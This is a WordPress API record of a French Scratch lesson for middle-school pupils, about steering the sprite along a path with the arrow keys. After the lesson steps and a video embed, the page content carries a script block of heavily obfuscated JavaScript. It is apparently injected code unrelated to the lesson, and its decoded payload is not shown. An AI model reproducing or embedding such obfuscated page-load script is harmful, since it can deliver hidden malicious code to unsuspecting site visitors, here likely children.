{"id":3315,"date":"2024-06-13T13:50:12","date_gmt":"2024-06-13T13:50:12","guid":{"rendered":"https:\/\/www.energy-sciences.org\/sciences\/?p=3315"},"modified":"2024-07-26T16:22:41","modified_gmt":"2024-07-26T16:22:41","slug":"scratch-13-lutilisateur-deplace-scratch-avec-les-touches-de-fleches-du-clavier-de-facon-a-suivre-un-chemin","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/scratch-13-lutilisateur-deplace-scratch-avec-les-touches-de-fleches-du-clavier-de-facon-a-suivre-un-chemin\/","title":{"rendered":"Scratch 13: L\u2019utilisateur d\u00e9place Scratch avec les touches de fl\u00e8ches du clavier de fa\u00e7on \u00e0 suivre un chemin"},"content":{"rendered":"<p>L\u2019utilisateur d\u00e9place Scratch avec les touches de fl\u00e8ches du<span style=\"font-size: 14pt;\"> clavier de fa\u00e7on \u00e0 suivre un chemin<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">1. Dans une boucle sans fin, on teste quelle fl\u00e8che est press\u00e9e. Si c\u2019est la fl\u00e8che du haut, Scratch monte<\/span><br \/>\n<span style=\"font-size: 14pt;\">(de 5 pas par exemple). Si c\u2019est la fl\u00e8che du bas, Scratch descend&#8230;<\/span><br \/>\n<span style=\"font-size: 14pt;\">2. Dessine un parcours sur l\u2019arri\u00e8re-plan : tout d\u2019abord dessine un grand rectangle tout bleu qui recouvre<\/span><br \/>\n<span style=\"font-size: 14pt;\">tout ; puis avec l\u2019outil gomme (en grande taille) trace un chemin.<\/span><br \/>\n<span style=\"font-size: 14pt;\">3. R\u00e9duis la taille du lutin Scratch afin qu\u2019il puisse parcourir le chemin sans toucher les bords color\u00e9s.<\/span><br \/>\n<span style=\"font-size: 14pt;\">4. Bonus. Si Scratch sort de son chemin, joue un s<\/span>on d\u2019alerte.<\/p>\n<p>Blocs utiles:<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-medium wp-image-3316\" src=\"https:\/\/www.energy-sciences.org\/sciences\/wp-content\/uploads\/2024\/06\/Blocs-utiles-300x119.jpg\" alt=\"\" width=\"300\" height=\"119\" srcset=\"https:\/\/www.energy-sciences.org\/sciences\/wp-content\/uploads\/2024\/06\/Blocs-utiles-300x119.jpg 300w, https:\/\/www.energy-sciences.org\/sciences\/wp-content\/uploads\/2024\/06\/Blocs-utiles.jpg 586w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/GEVsumRfAY0\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>&nbsp;<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Dans une boucle sans fin, on teste quelle fl\u00e8che est press\u00e9e. Si c\u2019est la fl\u00e8che du haut, Scratch <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-13-lutilisateur-deplace-scratch-avec-les-touches-de-fleches-du-clavier-de-facon-a-suivre-un-chemin\/\" title=\"Scratch 13: L\u2019utilisateur d\u00e9place Scratch avec les touches de fl\u00e8ches du clavier de fa\u00e7on \u00e0 suivre un chemin\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":3317,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[72],"tags":[],"class_list":{"0":"post-3315","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-informatique-college-2"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/3315","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=3315"}],"version-history":[{"count":2,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/3315\/revisions"}],"predecessor-version":[{"id":3320,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/3315\/revisions\/3320"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media\/3317"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=3315"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=3315"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=3315"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}